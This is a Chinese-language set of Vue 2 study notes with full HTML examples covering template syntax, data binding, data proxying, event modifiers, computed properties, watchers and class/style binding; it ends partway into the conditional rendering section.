一、Vue核心

Vue简介

官网:

介绍和描述

  • 动态构建用户界面的 渐进式 JavaScript框架
  • 作者: 尤雨溪

Vue的特点

  • 遵循 MVVM 模式
  • 编码简洁、体积小、运行效率高、适合移动端/PC端开发
  • 它本身只关注UI,也可以引入其他第三方库开发项目

与其他JS框架的关联

Vue 周边库

  •  vue-cli:vue 脚手架
  •  vue-resource
  • axios
  • vue-router:路由
  • vuex:状态管理
  • element-ui:基于 vue 的 UI 组件库(PC端)
  • ........

初始Vue 

初始Vue语法

初始示例代码

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>初始Vue</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 
        初始Vue:
            1、想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
            2、root容器里的代码依然符合html规范,只不过混入一些特殊的Vue语法;
            3、root容器里的代码被称为【Vue模板】;
            4、Vue实例和容器是一一对应的;
            5、真是开发中只有一个Vue实例,并且会配合着组件一起使用;
            6、{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性
            7、一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
            
            注意区分:js表达式 和 js代码(语句)
              1、表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
                (1). a
                (2). a+b
                (3). demo(1)
                (4). x === y ? 'a' : 'b'
              2、js代码(语句)
                (1).if(){}
                (2).for(){}
     -->

    <!-- 准备好一个容器 -->
    <div id="root">
      <!-- toUpperCase()字符串转为大写 -->
      <h1>Hello,{{name.toUpperCase()}}</h1>
      <h1>我的年龄是:{{age}}</h1>
      <button>点我更换学校名字</button>
    </div>

    <script type="text/javascript">
      //阻止 vue 在启动时生成生产提示 也可在原生js里面改
      Vue.config.productionTip = false;
      //创建Vue实例
      new Vue({
        el: "#root", //el用户指定当前Vue实例为那个容器服务,值通常为css选择器字符串
        data: {
          //data中用户存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
          name: "world",
          age: 18,
        },
      });
    </script>
  </body>
</html>

模板语法

html 中包含了一些 JS 语法代码,语法分为两种,分别为:

        1. 插值语法(双大括号表达式)

        2. 指令(以 v-开头)

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>模板语法</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 
        Vue模板语法有2大类:
            1、插值语法:
                功能:用于解析标签体内容
                写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
            2、指令语法:
                功能:用于解析标签(包括:标签属性、标签体内容、绑定事件....)。
                举例:v-bind:href="xxx" 或 简写为 :href="xxx", xxx同样要写js表达式,
                    且可以直接读取到data中的所有属性。
                备注:Vue中有很多的指令,且形式都是:v-????, 此处我们只是拿v-bind举个例子
     -->
    <!-- 准备好一个容器 -->
    <div id="root">
      <h1>插值语法</h1>
      <h3>你好,{{name}}</h3>
      <hr />
      <h1>指定语法</h1>
      <a href="http://www.atguigu.com">点我去{{school.name}}学习1</a>
      <br />
      <a v-bind:href="school.url">点我去{{school.name}}学习2</a>
      <!-- v-bind === : -->
      <a :href="school.url.toUpperCase()">点我去{{school.name}}学习3</a>
    </div>
  </body>
  <script type="text/javascript">
    //阻止 vue 在启动时生成生产提示 也可在原生js里面改
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        name: "jack",
        school: {
          name: "xinze",
          url: "http://www.baidu.com",
        },
      },
    });
  </script>
</html>

插值语法  

       写法:直接在标签体内写{{xxx}}   xxx为js 表达式 也可以 直接写data中的属性

        不仅可以获取data里面的属性 也可以获取data里面子模块的 属性

      <h1>插值语法</h1>
      <h3>你好,{{name}}</h3>
      <h3>你好,{{school.name}}</h3>

指令语法   V-bind:

         写法:v-????         这里只学了 v-bind:

//  v-bind:用于解析标题的属性,内容等等
<a v-bind:href="school.url">点我去{{school.name}}学习2</a>

         简写  v-bind: ===   :

 <a :href="school.url.toUpperCase()">点我去{{school.name}}学习3</a>
//toUpperCase()  字符集大写

数据绑定 

vue示例

<script type="text/javascript">
    //阻止 vue 在启动时生成生产提示 也可在原生js里面改
    Vue.config.productionTip = false;
    new Vue({
      el: "#root",
      data: {
        name: "xinze",
      },
    });
  </script>

单向数据绑定

        单项绑定(v-bind):数据只能从data流向页面

单项数据绑定:<input type="text" v-bind:value="name" /><br />
单项数据绑定:<input type="text" :value="name" /><br />

双向数据绑定

        双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。

        注意:双向绑定一般都应用于在表单类元素上(如:input、select等)

                   v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。

双项数据绑定:<input type="text" v-model:value="name" /><br />
双项数据绑定:<input type="text" v-model="name" /><br />
<!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素) 上-->
<h2 v-model:x="name">你好啊</h2>

el和data的两种写法 

el的2种写法

        new Vue时候配置el属性

<script type="text/javascript">
    const v = new Vue({
      el: "#root",  //第一种写法
      data: {
        name: "xinze",
      },
    });
  </script>

        先建Vue实例,随后再通过vm.$mount('#root')指定el的值。

<script type="text/javascript">
    const v = new Vue({
      data: {
        name: "xinze",
      },
    });
    v.$mount("#root"); //第二种写法
  </script>

data的两种写法

        对象式

<script type="text/javascript">
    //data的两种写法
    new Vue({
      el: "#root",
        data: {     //data第一种写法:对象式
        name: "xinze",
      },
    });
  </script>

        函数式

<script type="text/javascript">
    new Vue({
      el: "#root",
//由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
      data() {
       console.log("@@@", this); //此处的this是vue实例对象
       return {
         name: "xinze",
       };
     },
    });
  </script>

​​​​MVVM模型

M:模型(Model):data中的数据

V:视图(View):模板代码

VM:视图模型(ViewModel):Vue实例

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <script src="../js/vue.js"></script>
    <title>理解MVVM</title>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h1>学校名称:{{name}}</h1>
      <h1>学校地址:{{address}}</h1>
      <h1>测试一下1:{{1>1}}</h1>
      <h1>测试一下2:{{1+1}}</h1>
      <h1>测试一下3:{{$createElement}}</h1>//vue自身属性
      <h1>测试一下4:{{$emit}}</h1> //vue原型的属性       
    </div>
  </body>
  <script type="text/javascript">
    const vm = new Vue({
      el: "#root",
      data: {
        name: "xinze",
        address: "北京",
      },
    });
    console.log(vm);
  </script>
</html>

总结:

        data中所有的属性,最后都出现在了vm身上

        vm身上所有的属性 及 Vue原型上所有属性,在Vue模板中都可直接使用

数据代理

Object.defineproperty方法

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Object.defineproperty方法</title>
  </head>
  <body>
  </body>
  <script type="text/javascript">
    let number = 18;
    let person = {
      name: "张三",
      sex: "男",
    };

    Object.defineProperty(person, "age", {
      //   value: 18,
      //   enumerable: true, //控制属性是否可以枚举,默认值是false
      //   writable: true, //控制属性是否可以被修改,默认值false
      //   configurable: true, //控制属性是否可以被删除,默认值false
      //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
      get() {
        console.log("有人读取age属性了");
        return number;
      },
      //当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
      set(value) {
        console.log("有人修改了age属性,且值是", value);
        number = value;
      },
    });
    console.log(person);

    //console.log(Object.keys(person));
  </script>
</html>

何为数据代理

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>何为数据代理</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 数据代理::通过一个对象代理对另一个对象中属性的操作(读/写) -->
  </body>
  <script type="text/javascript">
    let obj = { x: 100 };
    let obj2 = {};
    //获取obj2的x属性的时候 调用的是get方法返回obj的x的值
    Object.defineProperty(obj2, "x", {
      get() {
        return obj.x;
      },
      set(value) {
        obj.x = value;
      },
    });
  </script>
</html>

Vue中的数据代理

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Vue中的数据代理</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 
        1、Vue中的数据代理
            通过vm对象来代理data对象中属性的操作(读/写)
        2、Vue中数据代理的好处:
            更加方便的操作data中的数据
        3、基本原理:
            通过Object.defineProperty()把data对象中所有属性添加到vm上。
            为每一个添加到vm上的属性,都指定一个getter/setter。
            在getter/setter内部去操作,(读/写)data中对应的属性。
     -->
    <!-- 准备一个容器 -->
    <div id="root">
      <h2>学校名称:{{name}}</h2>
      <h2>学校地址:{{address}}</h2>
    </div>
  </body>
  <script type="text/javascript">
    const vm = new Vue({
      el: "#root",
      //这里的data 被实例后 会变成 vm._data  也就是说 这里的data === vm._data
      //data实例的时候会被解析成为 vue实例的属性进行数据绑定 例如vm._data.name = vm.name
      data: {
        name: "xinze",
        address: "北京",
      },
    });
  </script>
</html>

事件处理

事件处理的基本使用

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>事件的基本使用</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 
        事件的基本使用:
                1、使用v-on:xxx  或  @xxx 绑定事件,其中xxx是时间名(click ...);
                2、事件的回调需要配置在methods对象中,最终会在vm上;
                3、methods中配置的函数,不能用箭头函数!否则this就不是vm了;
                4、methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
                5、@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;
     -->
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>欢迎来到{{name}}大家庭</h2>
      <button v-on:click="showInfo1">点我提示信息1(不传参)</button><br />
      <button @click="showInfo2($event,'xinze')">点我提示信息2(传参)</button>
    </div>

    <script type="text/javascript">
      //阻止 vue 在启动时生成生产提示 也可在原生js里面改
      Vue.config.productionTip = false;
      const vm = new Vue({
        el: "#root",
        data: {
          name: "xinze",
        },
        methods: {
          //showInfo:(event) => {//Vue不能写箭头函数定义
          showInfo1(event) {
            //console.log(event.target.innerText);
            //console.log(this); //此处的this 是vm  如果写了箭头函数 这里的this就变成了Windows
            alert("你好!");
          },
          showInfo2(event, name) {
            console.log(event, name);
            //console.log(event.target.innerText);
            //console.log(this); //此处的this 是vm  如果写了箭头函数 这里的this就变成了Windows
            alert("你好!!");
          },
        },
      });
    </script>
  </body>
</html>

事件修饰符

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>事件修饰符</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
      * {
        margin-top: 20px;
      }
      .demo1 {
        height: 50px;
        background-color: skyblue;
      }
      .box1 {
        padding: 5;
        background-color: skyblue;
      }
      .box2 {
        padding: 5;
        background-color: orange;
      }
      .list {
        width: 200px;
        height: 200px;
        background-color: orange;
        overflow: auto; /*溢出形成滚动体*/
      }
      li {
        height: 100px;
      }
    </style>
  </head>
  <body>
    <!-- 
        Vue 中的事件修饰符:
            1、prevent:阻止默认事件(常用);
            2、stop:阻止事件冒泡(常用) <冒泡就是从内往外触发的过程叫做冒泡>;  
            3、once:事件只触发一次(常用);
            4、capture:使用事件的捕获模式<捕获跟冒泡相反 从外向内的过程叫做捕获>;
            5、self:只有event.target是当前操作的元素时才触发事件;
            6、passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
            注意:
            修饰符可以连续写
            想要使用多条修饰符 可以在后面追加  @click.stop.prevent
     -->
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>欢迎来到{{name}}大家庭</h2>

      <h3>一、阻止默认事件(常用)</h3>
      <a href="http://www.baidu.com" @click="showInfo">点我提示信息</a>
      <a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息(经过处理的)</a>

      <h3>二、阻止事件冒泡(常用)</h3>
      <div class="demo1" @click="showInfo">
        <button @click="showInfo">点我提示信息</button>
      </div>
      <div class="demo1" @click="showInfo">
        <button @click.stop="showInfo">点我提示信息(经过处理的)</button>
      </div>
      <div class="demo1" @click="showInfo">
        <a href="http://www.baidu.com" @click.stop.prevent="showInfo">点我提示信息(经过处理的)</a>
      </div>

      <h3>三、事件只触发一次(常用)</h3>
      <button @click="showInfo">点我提示信息</button>
      <button @click.once="showInfo">点我提示信息</button>

      <h3>四、使用事件的捕获模式</h3>
      <div class="box1" @click="showMsg(1)">
        div1
        <div class="box2" @click="showMsg(2)">div2</div>
      </div>
      <div class="box1" @click.capture="showMsg(1)">
        div1
        <div class="box2" @click="showMsg(2)">div2</div>
      </div>

      <h3>五、只有event.target是当前操作的元素时才触发事件</h3>
      <div class="demo1" @click="showConsle">
        <button @click="showConsle">点我提示信息</button>
      </div>
      <div class="demo1" @click.self="showConsle">
        <button @click="showConsle">点我提示信息</button>
      </div>

      <h3>六、事件的默认行为立即执行,无需等待事件回调执行完毕</h3>
      <!-- scroll:滚动条滚动事件 默认优先响应滚动-->
      <!-- <ul @scroll="demo" class="list"> -->
      <!-- wheel: 鼠标滚轮滚动事件 -->
      <ul @wheel="demo" class="list">
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
      </ul>
      <ul @wheel.pssive="demo" class="list">
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
      </ul>
    </div>

    <script type="text/javascript">
      //阻止 vue 在启动时生成生产提示 也可在原生js里面改
      Vue.config.productionTip = false;
      new Vue({
        el: "#root",
        data: {
          name: "xinze",
        },
        methods: {
          showInfo() {
            alert("你好!");
          },
          showMsg(msg) {
            console.log(msg);
          },
          showConsle(e) {
            console.log(e.target);
          },
          demo() {
            //console.log("@");
            for (let i = 0; i < 100000; i++) {
              console.log("#");
            }
            console.log("Vue累死了");
          },
        },
      });
    </script>
  </body>
</html>

键盘事件

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>键盘事件</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 
        1.Vue中常用的按键别名:
                回车 => enter
                删除 => delete(捕获"删除"和"退格"键)
                推出 => esc
                空格 => space
                换行 => tab (特殊,必须配合keydown去使用)
                上 => up
                下 => down
                左 => left
                右 => right
        2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意(单个单词)首字母大写 (多单词)要转为kebab-case(短横线命名)

        3.系统修饰键 (用法特殊) : ctrl  alt  shift  meta(win键)

            (1).配合keyup事件使用: 按下修饰键的同时, 再按下其他键, 随后释放其他键, 事件才会被触发
            (2).配合keydown使用: 正常触发事件

        4.也可以使用keyCode去指定具体的按键(不推荐)

        5.Vue.config.keyCodes.自定义键名 = 键码  可以去定制按键别名

        注意:
            按键也可以连续写
     -->
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>欢迎来到{{name}}大家庭</h2>
      <input
        type="text"
        placeholder="按下回车提示输入"
        @keyup.huiche="showInfo"
      />
      <input
        type="text"
        placeholder="按下回车提示输入"
        @keyup.ctrl.y="showInfo"
      />
    </div>

    <script type="text/javascript">
      //阻止 vue 在启动时生成生产提示 也可在原生js里面改
      Vue.config.productionTip = false;
      Vue.config.keyCodes.huiche = 13; //定义一个别名按键

      new Vue({
        el: "#root",
        data: {
          name: "xinze",
        },
        methods: {
          showInfo(e) {
            //console.log(e.key, e.keyCode); //输出当前你按下键盘的 键值
            //if (e.keyCode !== 13) return;
            console.log(e.target.value);
          },
        },
      });
    </script>
  </body>
</html>

计算属性

插值语法实现

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>姓名案例_插值语法实现</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      姓: <input type="text" v-model="firstName" /> <br />
      名:<input type="text" v-model="lastName" /> <br />
      姓名: <span>{{firstName}}-{{lastName}}</span>
    </div>
    <script type="text/javascript">
      //阻止 vue 在启动时生成生产提示 也可在原生js里面改
      Vue.config.productionTip = false;
      //创建Vue实例
      new Vue({
        el: "#root",
        data: {
          firstName: "xin",
          lastName: "ze",
        },
      });
    </script>
  </body>
</html>

methods实现

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>姓名案例_methods实现</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      姓: <input type="text" v-model="firstName" /> <br />
      名:<input type="text" v-model="lastName" /> <br />
      全名: <span>{{fullName()}}</span>
    </div>
    <script type="text/javascript">
      //阻止 vue 在启动时生成生产提示 也可在原生js里面改
      Vue.config.productionTip = false;
      //创建Vue实例
      new Vue({
        el: "#root",
        data: {
          firstName: "xin",
          lastName: "ze",
        },
        methods: {
          fullName() {
            return this.firstName + "-" + this.lastName;
          },
        },
      });
    </script>
  </body>
</html>

计算属性实现

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>姓名案例_计算属性简写</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      姓: <input type="text" v-model="firstName" /> <br />
      名:<input type="text" v-model="lastName" /> <br />
      全名: <span>{{fullName}}</span><br />
      全名: <span>{{demo}}</span><br />
    </div>
    <script type="text/javascript">
      //阻止 vue 在启动时生成生产提示 也可在原生js里面改
      Vue.config.productionTip = false;
      //创建Vue实例
      const vm = new Vue({
        el: "#root",
        data: {
          firstName: "xin",
          lastName: "ze",
        },
        methods: {
          demo() {},
        },
        computed: {
          //计算属性 必须具备get  调用该计算属性会自动读取get 不需手动调
          fullName: {
            //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
            //get什么时候调用?1. 初次读取fullName时  2. 所依赖的数据发生变化时
            get() {
              console.log("get被调用了");
              //console.log(this); //此处的this是vm
              return this.firstName + "-" + this.lastName;
            },
            //set什么时候调用? 当fullName别修改时
            set(value) {
              console.log("set", value);
              const arr = value.split("-"); //split() 根据所传参数 拆分字符串为数组
              this.firstName = arr[0];
              this.lastName = arr[1];
            },
          },
        },
      });
    </script>
  </body>
</html>

计算属性简写

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>姓名案例_计算属性实现</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 
      计算属性:
          1.定义: 要用的属性不存在, 要通过已有属性计算得来.
          2.原理: 底层借助了Objcet.defineproperty方法提供的getter和setter
          3.get函数什么时候执行?
              (1).初次读取会执行一次
              (2).当依赖的数据发生改变时会被再次调用
          4.优势: 与methods实现相比, 内部有缓存机制(复用), 效率更高, 调试方便(因为计算属性会显示在Vue开发者工具里)
          5.备注:
              (1).计算属性最终会出现在vm上, 直接 读取 使用即可 (不需要调用get)
              (2).如果计算属性要被修改, 那必须写set函数去响应修改, 且set中要引起计算时依赖的数据发生改变
     -->
    <!-- 准备好一个容器 -->
    <div id="root">
      姓: <input type="text" v-model="firstName" /> <br />
      名:<input type="text" v-model="lastName" /> <br />
      全名: <span>{{fullName}}</span><br />
    </div>
    <script type="text/javascript">
      //阻止 vue 在启动时生成生产提示 也可在原生js里面改
      Vue.config.productionTip = false;
      //创建Vue实例
      const vm = new Vue({
        el: "#root",
        data: {
          firstName: "xin",
          lastName: "ze",
        },
        computed: {
          //完整写法
          /* fullName: {
            get() {
              console.log("get被调用了");
              return this.firstName + "-" + this.lastName;
            },
            set(value) {
              console.log("set", value);
              const arr = value.split("-"); //split() 根据所传参数 拆分字符串为数组
              this.firstName = arr[0];
              this.lastName = arr[1];
            },
          } ,*/
          //简写写法
          fullName() {
            console.log("get被调用了");
            return this.firstName + "-" + this.lastName;
          },
        },
      });
    </script>
  </body>
</html>

监视属性

普通方法实现

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>天气案例</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>今天天气很{{info}}</h2>
      <!-- <h2>今天天气很</h2> -->
      <button @click="changWeather">切换天气</button>
      <!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 -->
      <!-- <button @click="isHot = !isHot">切换天气</button> -->
      <!-- 调用window身上的弹框属性 -->
      <!-- <button @click="window.alert(1)">切换天气</button> -->
    </div>
    <script type="text/javascript">
      Vue.config.productionTip = false;
      new Vue({
        el: "#root",
        data: {
          isHot: true,
          window, //声明一个window属性 方调用window身上的方法
        },
        computed: {
          info() {
            return this.isHot ? "炎热" : "凉爽";
          },
        },
        methods: {
          changWeather() {
            this.isHot = !this.isHot;
          },
        },
      });
    </script>
  </body>
</html>

监视属性实现的两种方法

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>天气案例_监视属性</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 
        监视属性watch:
          1、当被监视的属性变化时,回调函数(handler)自动调用,进行相关操作
          2、监视的属性必须存在,才能进行监视!! 不存在也会调用回调函数 之不过返回空值
             监视属性的属性 也可以是计算属性
          3、监视的两种写法
              (1)、new Vue时传入watch配置
              (2)、通过vm.$watch监视 (这样调用属性的时候要加上引号)
     -->
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>今天天气很{{info}}</h2>
      <!-- <h2>今天天气很</h2> -->
      <button @click="changWeather">切换天气</button>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;
      const vm = new Vue({
        el: "#root",
        data: {
          isHot: true,
        },
        computed: {
          info() {
            return this.isHot ? "炎热" : "凉爽";
          },
        },
        methods: {
          changWeather() {
            this.isHot = !this.isHot;
          },
        }, //第一种写法
        /* watch: {
          //监视属性   也能监视 计算属性
          isHot: {
            immediate: true, //初始化时让handler调用一下
            //handler什么时候调用?当isHot发生改变时
            handler(newValue, oldValue) {
              console.log("isHot被修改了", newValue, oldValue);
            },
          },
        }, */
      });
      //第二种写法
      vm.$watch("isHot", {
        mmediate: true, //初始化时让handler调用一下
        //handler什么时候调用?当isHot发生改变时
        handler(newValue, oldValue) {
          console.log("isHot被修改了", newValue, oldValue);
        },
      });
    </script>
  </body>
</html>

深度监视

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>天气案例_深度监视</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 
        深度监视:
            (1)、Vue中的watch默认不检测对象内部值的该变 (只检测一层结构)
            (2)、配置deep:true 可以检测对象内部值改变 (监测多层)
        备注:
            (1)、Vue自身可以检测对象内部值的改变,但Vue提供的watch默认不可以!
            (2)、使用watch时根据数据的具体结构,决定是否采用深度监视。
     -->
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>今天天气很{{info}}</h2>
      <button @click="changWeather">切换天气</button>
      <hr />
      <h2>a的值时:{{numbers.a}}</h2>
      <button @click="numbers.a++">点我让a+1</button>
      <h2>a的值时:{{numbers.b}}</h2>
      <button @click="numbers.b++">点我让b+1</button>
      <button @click="numbers = {a:888,b:888}">彻底替换掉numbers</button>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;
      const vm = new Vue({
        el: "#root",
        data: {
          isHot: true,
          numbers: {
            a: 1,
            b: 1,
          },
        },
        computed: {
          info() {
            return this.isHot ? "炎热" : "凉爽";
          },
        },
        methods: {
          changWeather() {
            this.isHot = !this.isHot;
          },
        },
        watch: {
          isHot: {
            //immediate: true, //初始化时让handler调用一下
            //handler什么时候调用?当isHot发生改变时
            handler(newValue, oldValue) {
              console.log("isHot被修改了", newValue, oldValue);
            },
          },
          //监视多级属性中的 某个 属性的变化
          /* "numbers.a": {
            handler() {
              console.log("a改变了");
            },
          }, */
          //监视多级结构中所有属性的变化
          numbers: {
            deep: true, //深度监视
            handler() {
              console.log("numbers改变了");
            },
          },
        },
      });
    </script>
  </body>
</html>

简写

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>天气案例_深度监视_简写</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>今天天气很{{info}}</h2>
      <button @click="changWeather">切换天气</button>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;
      const vm = new Vue({
        el: "#root",
        data: {
          isHot: true,
        },
        computed: {
          info() {
            return this.isHot ? "炎热" : "凉爽";
          },
        },
        methods: {
          changWeather() {
            this.isHot = !this.isHot;
          },
        },
        watch: {
          //正常写法
          /* isHot: {
            //immediate: true, //初始化时让handler调用一下
            //deep: true, //开启深度监视
            handler(newValue, oldValue) {
              console.log("isHot被修改了", newValue, oldValue);
            },
          }, */
          //简写写法  前提时不添加别的修改 只调用handler
          /* isHot(newValue, oldValue) {
            console.log("isHot被修改了", newValue, oldValue);
          }, */
        },
      });

      //正常写法
      /* vm.$watch("isHot", {
        //immediate: true, //初始化时让handler调用一下
        //deep: true, //开启深度监视
        handler(newValue, oldValue) {
          console.log("isHot被修改了", newValue, oldValue);
        },
      }); */

      //简写写法
      vm.$watch("isHot", function (newValue, oldValue) {
        console.log("isHot被修改了", newValue, oldValue);
      });
    </script>
  </body>
</html>

监视属性实现计算属性的功能

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>姓名案例_watch实现</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 
        computed和watch之间的区别:
            1、computed能完成的功能,watch都可以完成
            2、watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作
        两个重要的小原则:
            1、所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
            2、所有不被Vue所管理的函数  (定时器的回调函数,ajax的回调函数等),最好写成箭头函数,这样this的指向才是vm 或 组件实例对象。    
     -->
    <!-- 准备好一个容器 -->
    <div id="root">
      姓: <input type="text" v-model="firstName" /> <br />
      名:<input type="text" v-model="lastName" /> <br />
      全名: <span>{{fullName}}</span><br />
    </div>
    <script type="text/javascript">
      //阻止 vue 在启动时生成生产提示 也可在原生js里面改
      Vue.config.productionTip = false;
      //创建Vue实例
      const vm = new Vue({
        el: "#root",
        data: {
          firstName: "xin",
          lastName: "ze",
          fullName: "xin-ze",
        },
        watch: {
          firstName(val) {
            //这里必须写箭头函数 因为箭头函数是往外找this的 写了普通函数 this就变成了window
            setTimeout(() => {
              this.fullName = val + "-" + this.lastName;
            }, 1000);
          },
          lastName(val) {
            this.fullName = this.firstName + "-" + val;
          },
        },
      });
    </script>
  </body>
</html>

绑定样式

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>绑定样式</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
      #root div {
        display: inline-block;
        margin-right: 30px;
      }
      .bor {
        width: 200px;
        height: 200px;
        border: 5px solid black;
      }
      .pink {
        background-color: pink;
        border: 5px solid plum;
      }
      .plum {
        background-color: plum;
        border: 5px solid pink;
      }
      .pale {
        background-color: palevioletred;
        border: 5px solid green;
      }
      .size1 {
        background-color: green;
      }
      .size2 {
        border-radius: 10%;
      }
      .size3 {
        text-shadow: 2px 2px red;
      }
    </style>
  </head>
  <body>
    <!-- 
        绑定样式:
            1、class样式
                写法:class="xxx" xxx可以是字符串、对象、数组
                    字符串写法适用于:类名不确定、要动态获取
                    对象写法适用于:要绑定多个样式、个数不确定、名字也不确定
                    数组写法适用于:要绑定多个样式、个数确定、名字也确定、但不确定用不用
            2、style样式
                :style="{fontSize: xxx}" 其中xxx是动态值。
                :style="[a,b]" 其中a、b是样式对象。        
     -->
    <!-- 准备好一个容器 -->
    <div id="root">
      <!-- 绑定class样式 -- 字符串写法,适用于:样式的类名不确定,需要动态指定  -->
      <div class="bor" :class="color" @click="changeMood">{{name}}</div>

      <!-- 绑定class样式 -- 数组写法,适用于:要绑定的样式个数不确定、名字也不确定  -->
      <!-- <div class="bor" :class="["size1", "size2", "size3"]" @click="changeMood">{{name}}</div> -->
      <div class="bor" :class="classArry">{{name}}</div>

      <!-- 绑定class样式 -- 对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
      <!-- <div class="bor" :class="{size1:true,size2:true}" @click="changeMood">{{name}}</div> -->
      <div class="bor" :class="classObj">{{name}}</div>

      <!-- 绑定style样式 -- 对象写法 -->
      <div class="bor" :style="styleObj">{{name}}</div>

      <!-- 绑定style样式 -- 数组写法 -->
      <div class="bor" :style="[styleObj,styleObj2]">{{name}}</div>
      <div class="bor" :style="styleAry">{{name}}</div>
    </div>
    <script type="text/javascript">
      Vue.config.productionTip = false;
      new Vue({
        el: "#root",
        data: {
          name: "xinze",
          color: "pink",
          classArry: ["size1", "size2", "size3"],
          classObj: {
            size1: false,
            size2: false,
          },
          styleObj: {
            fontSize: "40px",
          },
          styleObj2: {
            backgroundColor: "orange",
          },
          styleAry: [
            {
              fontSize: "40px",
            },
            {
              backgroundColor: "pink",
            },
          ],
        },
        methods: {
          changeMood() {
            const arry = ["pink", "plum", "pale"];
            const index = Math.floor(Math.random() * 3);
            this.color = arry[index];
          },
        },
      });
    </script>
  </body>
</html>

条件渲染

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>条件渲染</title>
